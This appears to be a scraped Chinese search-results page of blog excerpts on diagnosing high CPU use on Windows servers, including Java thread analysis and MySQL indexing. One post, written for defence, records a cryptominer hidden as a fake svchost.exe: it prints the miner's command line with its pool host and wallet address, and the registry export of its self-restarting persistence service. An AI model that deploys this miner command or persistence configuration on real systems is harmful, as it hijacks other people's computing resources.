精华内容
下载资源
问答
  • Windows服务器CPU使用过高(svchost.exe)

    万次阅读 2017-06-29 18:37:03
    cpu使用率查看一般可以通过任务管理器中的cpu使用百分比排序,依次查看哪些进程导致使用率过高。 不同的程序不同的处理。以下主要讲解svchost.exe进场占用cpu过高的问题。svchost.exe 进程,一般都是与系统服务...

    cpu使用率的查看一般可以通过任务管理器中的cpu使用百分比排序,依次查看哪些进程导致使用率过高。
    这里写图片描述
    不同的程序不同的处理。

    以下主要讲解svchost.exe进场占用cpu过高的问题。

    svchost.exe 进程,一般都是与系统服务相关的,大部分均是来自服务。
    1、服务导致。找到cpu使用率比较大的进程,右键-》转到服务,若是是由服务启动的,会自动定位到相应的服务。
    这里写图片描述
    这里写图片描述

    可以点击,右下角的服务按钮,开启服务管理,根据服务器名称查找到相应的服务,判定是否停止服务。(一般情况windows的自动更新服务,若是有待更新的信息时,或者取消更新后,可能导致占用cpu可能过高)

    2、非服务导致。可以使用process Explorer程序查看进程的详细信息。process Explorer 非系统自带的需要网上自行下载。

    process Explorer 简略使用说明
    界面
    这里写图片描述
    查看进程的详细信息
    这里写图片描述
    这里写图片描述

    可查看映像信息来确定,是为什么启动此进程。
    路径:exe位置
    命令行:启动的方式

    详细例子分析:
    遇到svchost使用率过高,但非服务导致服务器cpu使用率,80%。
    路径:C:\windows\fonts\svchost.exe
    命令行:”svchost.exe” -a cryptonight -o stratum+tcp://wakuang.aimezi.com:7777 -u 498PMu3rGgrXdv9b371URch3eDbEJqPnoXTp717FtUhvFuFSJfjY4Gf1chnSxVtTRoQCkfNRozGfBbDshdMDKhUQ358oQby -p x -t 24

    查看此非系统服务,有点像是被植入挖矿病毒。强制关闭此进程,一会进程强制重启。不存在服务,那只能通过注册表进行查询。

    开启注册表, 运行-》regedit 全文搜索 wakuang.aimezi.com 找到相应的注册表删除后。关闭此进程后问题解决。其实际的注册表目录[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Servc]

    以下为此项中的全部信息,看到最后有个程序退出后重启的项。(以下请勿注册,以防系统出现问题,仅供学习)。

    Windows Registry Editor Version 5.00
    
    [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Servc]
    "Description"="Performance library information from Windows Management Instrumentation (WMI) providers to clients on the network. This service only runs when Performance Data Helper is activated."
    "DisplayName"="WMI Adapter Services"
    "Type"=dword:00000010
    "Start"=dword:00000002
    "ErrorControl"=dword:00000001
    "ImagePath"=hex(2):63,00,3a,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,\
      5c,00,46,00,6f,00,6e,00,74,00,73,00,5c,00,74,00,61,00,73,00,6b,00,68,00,6f,\
      00,73,00,74,00,2e,00,65,00,78,00,65,00,00,00
    "ObjectName"="LocalSystem"
    "DelayedAutostart"=dword:00000000
    "FailureActionsOnNonCrashFailures"=dword:00000001
    
    [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Servc\Parameters]
    "Application"=hex(2):73,00,76,00,63,00,68,00,6f,00,73,00,74,00,2e,00,65,00,78,\
      00,65,00,00,00
    "AppParameters"=hex(2):2d,00,61,00,20,00,63,00,72,00,79,00,70,00,74,00,6f,00,\
      6e,00,69,00,67,00,68,00,74,00,20,00,2d,00,6f,00,20,00,73,00,74,00,72,00,61,\
      00,74,00,75,00,6d,00,2b,00,74,00,63,00,70,00,3a,00,2f,00,2f,00,77,00,61,00,\
      6b,00,75,00,61,00,6e,00,67,00,2e,00,61,00,69,00,6d,00,65,00,7a,00,69,00,2e,\
      00,63,00,6f,00,6d,00,3a,00,37,00,37,00,37,00,37,00,20,00,2d,00,75,00,20,00,\
      34,00,39,00,38,00,50,00,4d,00,75,00,33,00,72,00,47,00,67,00,72,00,58,00,64,\
      00,76,00,39,00,62,00,33,00,37,00,31,00,55,00,52,00,63,00,68,00,33,00,65,00,\
      44,00,62,00,45,00,4a,00,71,00,50,00,6e,00,6f,00,58,00,54,00,70,00,37,00,31,\
      00,37,00,46,00,74,00,55,00,68,00,76,00,46,00,75,00,46,00,53,00,4a,00,66,00,\
      6a,00,59,00,34,00,47,00,66,00,31,00,63,00,68,00,6e,00,53,00,78,00,56,00,74,\
      00,54,00,52,00,6f,00,51,00,43,00,6b,00,66,00,4e,00,52,00,6f,00,7a,00,47,00,\
      66,00,42,00,62,00,44,00,73,00,68,00,64,00,4d,00,44,00,4b,00,68,00,55,00,51,\
      00,33,00,35,00,38,00,6f,00,51,00,62,00,79,00,20,00,2d,00,70,00,20,00,78,00,\
      20,00,2d,00,74,00,20,00,32,00,34,00,00,00
    "AppDirectory"=hex(2):00,00
    
    [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Servc\Parameters\AppExit]
    @="Restart"
    
    
    展开全文
  • 现象: 当前项目启动一段时间,有一个服务导致CPU使用率持续超过30% 环境:Windows 7, CPU: 8核, 内存: 8g内存 定位过程: 启动项目,查看Java进程ID 查看Event Processor 的CPU使用情况,此时基本维持...

    现象: 当前项目启动一段时间,有一个服务导致CPU使用率持续超过30%

    环境:Windows 7,  CPU: 8核, 内存: 8g内存

     

    定位过程:

    启动项目,查看Java进程ID

     

    查看Event Processor 的CPU使用情况,此时基本维持在1%左右:

     

    开启Simulator发送几包数据,再次查看,发现CPU已经飚上去了:

     

    关闭Simulator,等待数据都处理完毕,再次查看,CPU并未降下去:

     

    使用ProcessExplorer查看Event Processor线程的CPU使用情况,发现线程40160和40156的CPU占用率持续很高,

     

    使用jstack -l 35684 打印出Event Process的线程栈,查看线程ID(需转化成16进制)对应(40160-> 9CE0, 40156-> 9CDC)的线程栈:

     

    可以看出,线程TaskScheduler_com.delta.atm.services.impl.AutoTTExecutorServiceImpl和TaskScheduler_com.delta.atm.services.impl.AlarmExecutorServiceImpl处于运行状态,持续打印线程信息发现这两个线程一直处于RUNNABLE的状态,此时并未开启simulator,此线程应该处于睡眠才对。

     

    先走读代码,查看AlarmServiceImpl,

    再查看SchedulerServiceImpl,

     

    从下面代码的角度看,在没有数据的情况下takeTask应该只会执行一次,然后休眠,等待唤醒。

     

    根据打印的线程栈发现,这两个线程都长时间运行在takeTask方法,所以猜测这个部分有死循环,而且由于此机器是8核,1/8=0.125,如果有两个线程持续While循环,则基本就会占用25%的CPU资源。

     

    加上输出,打印出全局的count,找到原因了,线程睡眠的条件是count为0才睡眠,但是数据都处理完了打印出来的count不为0所以线程会一直空转,

     

    但是为什么会出现数据处理完count还不为0的情况呢?

     

    从代码结果来看alarmService每收到一包数据count就会加1,每取一包数据,count就会减1,而且count是AtomicInteger线程安全类型。

    由于alarmService用的是一个生产者-消费者模型,大概结构如下图所示,需要一个全局的count来表示所有queue里面的数据,当count数量为0的时候Task Schedule则睡眠,否则会持续调度。

     

     

    查看当前queue里面的数据是空的,说明queue里面的数据已经处理完了,但是count的值却不是0。

    查看下面的代码找到原因,这个queue是我们自己封装的,每个site对应一个queue,key值是dataTime,这个值是根据印度的box取的且只有10位,精确到秒,但是simulator每个站点数据的发送频率经常会一秒钟发送多包数据,所以就会有重复的dataTime,也就造成了queue里面数据被覆盖了,这个时候queue的总大小就和记录的count不匹配了。

     

    其实这个queue的内部我们使用的是一个treeMap,所以不允许key值重复,最好的办法是重写一个允许key值重复并且可排序的一个队列,但是考虑到现实环境中每个站点3分钟才发一包数据不可能出现每秒多包数据的情况,而且TreeMap内部用的是红黑树效率挺高的,如果自己写排序算法效率可能不会太好,所以暂时使用判断做规避,如果同一个站点queue里面已经有相同的dataTime则直接忽略这一包数据。

     

    重新打包启动查看输出, count已经降下来了

     

    查看CPU使用率如下

     

    查看线程状态,已经处于waiting,问题解决。

     

     

    posted on 2016-08-05 14:41 零度冰川 阅读(...) 评论(...) 编辑 收藏

    转载于:https://www.cnblogs.com/lingdubingchuan/p/5741302.html

    展开全文
  •  运行在Windows上的Oracle开发库的oracle进程CPU使用率保持在99%,服务器和数据库均反应缓慢。  二、排查思路  可能造成CPU使用率高的情况有:大量排序、大量SQL解析、全表扫描、Oracle Bug等。因此希望找到...
  • Java 占用CPU使用率很高的分析

    千次阅读 2016-08-15 19:53:19
    前几天在测试服务器上发现Java进程的CPU使用率暴高,为了分析解决该问题,把过程记录如下: 1. 先找到Java的进程号 Linux下: 用top命令查看所有进程,可以明显看到Java的,因为CPU占用率很高被排在前面。比如, ...

    前几天在测试服务器上发现Java进程的CPU使用率暴高,为了分析解决该问题,把过程记录如下:
    1. 先找到Java的进程号
    Linux下:
    用top命令查看所有进程,可以明显看到Java的,因为CPU占用率很高被排在前面。比如,
    clip_image002

    Windows下:
    打开任务管理器,然后点击 “查看” 菜单,然后点击 “选择列”,把pid勾上,然后就可以在任务管理器里面看到所有进程的pid值了。(也可以用第三步中提到的工具直接查看)

    1. 做dump (可选)

    jdk自带的jstack工具可以查看Java线程信息,可以实时查看,也可以导出来。如果发现实时查看不是很方便或者无法实时查看,在做下列步骤前可以先dump。
    jstack -l > dump.stack
    如果进程已经hang住了,加-F参数
    jstack -l -F > dump.stack

    当然,如果是Unix下,还有种方法:
    kill -3
    3. 找到里面是哪个线程占用率最高
    Linux下:
    用 top -H -p 查看该进程所有线程信息,找到占用率最高的那个

    Windows下:
    除了使用jvisualvm或者带上top-thread插件的jconsole之外,可以用Windows自己提供的三方工具—— Process Explorer v15.3
    下载地址http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx

    1. 得到线程号的16进制
      得到占用率最高的线程ID后,要把它转成16进制
      Linux下:
      printf “%x\n”

    Windows下:
    自带的计算器可以提供该功能

    1. 分析dump查找问题代码片
      可以用 jstack | grep -A 来实时获取内存中该线程代码片,这里是第3步中得到的16进制的id

    也可以在第2步中导出的dump里面查找第3步中得到的线程id的十六进制而找到代码片。

    1. 如果有UI,可以有更简单的办法
      JDK自带工具jvisualvm和jconsole是非常强大的。其中jvisualvm原声支持实时查看线程CPU使用情况。
      启动jvisualvm,并查看目标java进程信息,然后选择Sampler -> CPU -> Thread CPU Time

    但是,这个sampler需要JMX支持,所以如果无法连接目标程序的JMX,就无法使用了。

    jconsole并不能直接查看,但是在jdk1.6 中,demo目录下提供了一个top-thread的插件可以查看。1.7不知道为什么没了,可以猛击这里下载。
    启动jconsole时,带上插件参数:
    jconsole -pluginpath topthreads-1.1.jar

    如果是脚本启动jconsole,比如JBOSS7自带的jconsole.sh的话,把该jar包加入其classpath可以OK。

    展开全文
  • 最近一台服务器CPU使用率长期保持在100%的状态,查看进程发现是Mysql服务导致的。于是搜索各方资料,终于成功解决问题。备忘以及分享一下,希望可以帮助各位新手朋友。 (服务器运行环境是Windows server2008,...

    最近一台服务器的CPU使用率长期保持在100%的状态,查看进程发现是Mysql服务导致的。于是搜索各方资料,终于成功解决问题。备忘以及分享一下,希望可以帮助各位新手朋友。

     

    (服务器运行环境是Windows server2008,Linux思路类似。只是命令行工具不同。)

     

    首先通过cmd 输入 mysql -h localhost -u root -p 回车进入mysql数据库

    通过 show processlist; 指令查看当前 mysql 使用频繁的 sql 语句

    反复调用此命令发现经常出现多个类似的select语句

    经过排查发现是where子句中的条件判断中用到的字段没有建立索引, MySQL不得不首先以第一条记录开始并然后读完整个表直到它找出相关的行。表越大,花费时间越多。

     

    ALTER TABLE `表名称` ADD INDEX `字段名称` ;

    通过上方语句创建相关字段的索引后CPU立马下降到20%左右。成功解决问题。

    小Tips:phpmyadmin中通过表结构“操作”列表中的“索引”按钮创建索引更方便处理,比较适合懒人操作,点一下鼠标即可解决  (* ̄︶ ̄)

     

    总结:

    对 WHERE, JOIN, MAX(), MIN(), ORDER BY 等子句中的条件判断中用到的字段,应该根据其建立索引 INDEX。索引被用来快速找出在一个列上用一特定值的行。如果表对于查询的列有一个索引,MySQL能快速到达一个位置去搜寻到数据文件的中间,没有必要考虑所有数据。

    如果一个表有1000行,这比顺序读取至少快100倍。所有的MySQL索引(PRIMARY、UNIQUE和INDEX)在B树中存储。

    根据 mysql 的开发文档,索引 index 用于:

    1,快速找出匹配一个WHERE子句的行  
    2,当执行联结(JOIN)时,从其他表检索行。  
    3,对特定的索引列找出MAX()或MIN()值  
    4,如果排序或分组在一个可用键的最左面前缀上进行(例如,ORDER BY key_part_1,key_part_2),排序或分组一个表。如果所有键值部分跟随DESC,键以倒序被读取。  
    5,在一些情况中,一个查询能被优化来检索值,不用咨询数据文件。如果对某些表的所有使用的列是数字型的并且构成某些键的最左面前缀,为了更快,值可以从索引树被检索出来。  

     

    转载于:https://www.cnblogs.com/aieceo/p/9130084.html

    展开全文
  • 但是启动后cpu占用一下就上去了,阿里云的服务器,单核,2G内存,windows 2012 我用visualvm查看运行情况 ![![图片说明](https://img-ask.csdn.net/upload/201506/05/1433486315_435141.png)图片说明]...
  • Windows查看网络占用情况

    万次阅读 2018-07-10 15:32:59
    今天发现路由器流量监控里边,100服务器下行...网络使用率,一共10%,这个服务器就占了5%,占了一半,看进程,发现是抓取新闻的进程占的CPU比较高,杀死进程后,网络占用下降为0。如图所示。 解决办法:做定时任务...
  • 在阿里云Ecs服务器运维过程中,无论是Centos系统还是Windows系统,有时候我们需要监控分析最新的服务器资源利用率等运行情况,例如最近3个小时CPU使用率情况、内存使用率、网络流入带宽、网络流出带宽、服务器TCP...
  • 显示已连接服务器的RAM和CPU使用率 显示有关所有连接的服务器上正在运行的进程的信息(RAM,CPU,启动时间等) 对于IIS进程-显示apppool的名称 Kibana集成-用户可以查看所需进程的日志(日志按主机名和进程ID过滤;...
  • SQLSERVER CPU

    2019-12-13 15:36:15
    近阶段服务器出现过几次死机,管理员反馈机器内存使用率100%导致机器卡死。于是做了个监测服务器的软件实时记录CPU数据,几日观察得出数据如下: SQL优化方法: 1、查看连接对象 1 USE master 2 GO 3 --如果要...
  • 服务器配置。

    2016-10-07 15:51:35
    卸载windows 安装 linux简化系统,删除不必要的程序内存和磁盘——监控查看使用率 top工具网络——pingCPU: 浏览器最主要的开销在于 磁盘和网络IO,当然CPU越好肯定爽呗。购买那些CPU高速缓存L1大的计算机32位/...
  • Windows日志定位系统性能问题

    千次阅读 2011-10-03 21:13:04
    最近同事频繁抱怨生产应用反映慢。调查发现此应用部署在一台...用率并不高,但CPU使用率会频繁的周期性的冲高。查看该机器上部署的Apache和MySQL,除发现Apache的IO 读写比较频繁外,其余各项性能指标都比较正常。
  •  近阶段服务器出现过几次死机,管理员反馈机器内存使用率100%导致机器卡死。于是做了个监测服务器的软件实时记录CPU数据,几日观察得出数据如下:  SQL优化方法:  1、查看连接对象 SELECT * FROM sys....
  •  近阶段服务器出现过几次死机,管理员反馈机器内存使用率100%导致机器卡死。于是做了个监测服务器的软件实时记录CPU数据,几日观察得出数据如下:  SQL优化方法:  1、查看连接对象 1 USE master 2 GO 3...
  • 由于自己的公司服务器比较多,涉及的区县也是较多,服务器大多数还是windows得,还比较分散,还得需要每天登录到服务器上面查看一下cpu使用率,mem的使用率,各个磁盘的状态等等问题,手动查询需要一台一台的...
  •  近阶段服务器出现过几次死机,管理员反馈机器内存使用率100%导致机器卡死。于是做了个监测服务器的软件实时记录CPU数据,几日观察得出数据如下:  SQL优化方法:  1、查看连接对象 1 USE master 2 GO 3 --...
  • 硬盘占用、在线重启IIS、在线重启服务器、进程查看、网络连接查看、系统服务查看、端口管理、启动项查看、远程桌面管理...功能如此之多以致不能一一列出。   安装简单便捷   不需要复杂的手工配置,不需要额外...
  • 如果,服务器CPU使用率很高,一直停留在80~90%以上,或者物理内存超过80~90%以上,那么,可以很肯定的告诉大家,网站访问慢是一定的。 2、假如此时内存很高,我们就点击图中列“CPU”进行排序,找到内存占用高的前...
  • 2020-09-14

    2020-09-14 21:20:35
    受害机查看CPU使用率 攻击前CPU使用率 攻击后CPU使用率 通过PUT以及MOVE的请求方式对IIS服务器写入shell 实验环境:windows 2003 IIS服务器 物理机 实验步骤: 步骤一:设置IIS服务器权限,主目录安全 步骤二:...
  • Linux PS命令使用

    2019-08-30 22:03:32
    ps命令作用:查看服务器进程信息,如同Windows中的任务管理器。 参数:e表示查看所有进程;f表示查看所有列的信息。 带参数的写法:ps -ef。 uid:执行该进程的用户名; pid:进程id; ppid:父进程id(如果没有ppid...

空空如也

空空如也

1 2 3 4 5 ... 7
收藏数 123
精华内容 49
关键字:

windows查看服务器cpu使用率